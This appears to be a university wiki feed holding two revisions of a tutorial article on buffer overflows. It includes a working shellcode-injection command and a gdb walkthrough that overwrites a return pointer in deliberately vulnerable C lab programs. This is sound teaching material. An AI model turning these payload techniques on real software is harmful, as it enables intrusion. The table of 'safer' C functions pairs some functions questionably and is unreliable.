&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3 ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in \&amp;lt;main\&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 4 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16995</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16995"/>
		<updated>2024-12-11T17:29:29Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Further Reading */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex concepts, introducing the mechanics and control structures of each memory region and how they could potentially be exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow (gdb). &lt;br /&gt;
The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
